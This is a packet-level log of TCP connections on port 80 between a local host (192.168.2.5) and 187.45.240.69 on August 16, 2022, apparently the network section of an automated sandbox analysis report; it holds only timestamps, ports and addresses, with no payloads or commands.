Aug 16, 2022 11:44:50.712508917 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.712543011 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.712605953 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.712651968 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.712826967 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.712846994 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.712877989 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.712903023 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.924436092 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929371119 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929394960 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929415941 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929433107 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929446936 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.929456949 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.929485083 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.931235075 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.945837021 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.150226116 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.157257080 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.157344103 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.157881975 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.368627071 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.372833967 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.372872114 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.372925997 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.372980118 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.373029947 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.374810934 CEST	49783	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.377815008 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.585453987 CEST	80	49783	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.593036890 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.596728086 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.597171068 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.815995932 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816030025 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816049099 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816066980 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816083908 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816101074 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816137075 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816157103 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.816179037 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816200972 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816232920 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.816272020 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.816493034 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816545963 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:51.816545010 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:51.816581964 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032243967 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032306910 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032346964 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032388926 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032390118 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032429934 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032442093 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032469988 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032510042 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032538891 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032555103 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032560110 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032594919 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032613039 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032635927 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032676935 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032716990 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032757998 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032767057 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032780886 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032785892 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032792091 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032798052 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032808065 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032839060 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032879114 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032910109 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032917023 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032933950 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032938004 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032958031 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.032960892 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.032998085 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.033011913 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.033039093 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.033056021 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.033097029 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248270988 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248326063 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248369932 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248413086 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248466015 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248496056 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248522997 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248579979 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248584032 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248639107 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248644114 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248703957 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248706102 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248764992 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248784065 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248821020 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248851061 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248879910 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248900890 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.248938084 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.248950958 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249001026 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249000072 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249063015 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249064922 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249124050 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249125004 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249181986 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249186039 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249248981 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249263048 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249310017 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249315023 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249368906 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249377966 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249425888 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249443054 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249484062 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249492884 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249543905 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249547958 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249603987 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249612093 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249665022 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249672890 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249726057 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249731064 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249784946 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249793053 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249845028 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249891043 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249914885 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.249950886 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.249984026 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.250009060 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.250061989 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.250133991 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.252187967 CEST	49784	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.255188942 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.464107037 CEST	80	49784	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.466422081 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.467618942 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.468283892 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.476139069 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.476171970 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.476274014 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.476358891 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.488262892 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.488486052 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.513776064 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.513900042 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.678901911 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683214903 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683250904 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683279037 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683303118 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683326960 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.683379889 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.683422089 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.685514927 CEST	49785	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.687017918 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.896086931 CEST	80	49785	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.907577038 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:52.907726049 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:52.908404112 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.127546072 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.127728939 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.127820969 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.127928019 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.127989054 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.127989054 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128053904 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128153086 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128182888 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128210068 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128221989 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128309965 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128359079 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128480911 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128530025 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128640890 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128688097 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128786087 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.128844023 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.128988981 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.129050970 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.351840019 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.351958990 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.352039099 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.352075100 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.352241039 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.352379084 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.352390051 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.352443933 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.352642059 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.352718115 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.352967978 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.353037119 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.353101969 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.353207111 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.353493929 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.353554010 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.353728056 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.353857040 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.353970051 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.354032040 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.354269981 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.354329109 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.354578018 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.354702950 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.355017900 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.355088949 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.355413914 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.355475903 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.355685949 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.355762959 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.356008053 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.356070042 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.356359005 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.356434107 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.356632948 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.356697083 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.356923103 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.356991053 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.357317924 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.357430935 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.575936079 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.576102018 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.576246023 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.576303959 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.576407909 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.576456070 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.576598883 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.576646090 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.576762915 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.576811075 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.576967001 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577014923 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.577124119 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577169895 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.577367067 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577413082 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.577531099 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577578068 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.577691078 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577735901 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.577887058 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.577940941 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.578085899 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.578140974 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.578207016 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.578258038 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.578429937 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.578475952 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.578609943 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.578739882 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.578767061 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.578814983 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579011917 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579068899 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579207897 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579252958 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579372883 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579426050 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579572916 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579626083 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579734087 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579782009 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.579933882 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.579988956 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.580214024 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.580280066 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.582586050 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.804135084 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804166079 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804187059 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804339886 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804414034 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804507017 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.804538012 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.804557085 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804613113 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.804699898 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.804888010 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:53.805048943 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.806559086 CEST	49786	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:53.809288979 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.023554087 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.023694038 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.024358988 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.027448893 CEST	80	49786	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.239664078 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247627974 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247663975 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247683048 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247701883 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247726917 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247745991 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247764111 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247790098 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247833014 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.247858047 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.248390913 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.248425007 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.248429060 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.248431921 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463530064 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463582993 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463608980 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463635921 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463648081 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463661909 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463705063 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463711023 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463732958 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463749886 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463757038 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463778019 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463800907 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463860035 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463902950 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463907003 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463947058 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.463974953 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.463999987 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464020967 CEST	49787	80	192.168.2.5	187.45.240.69
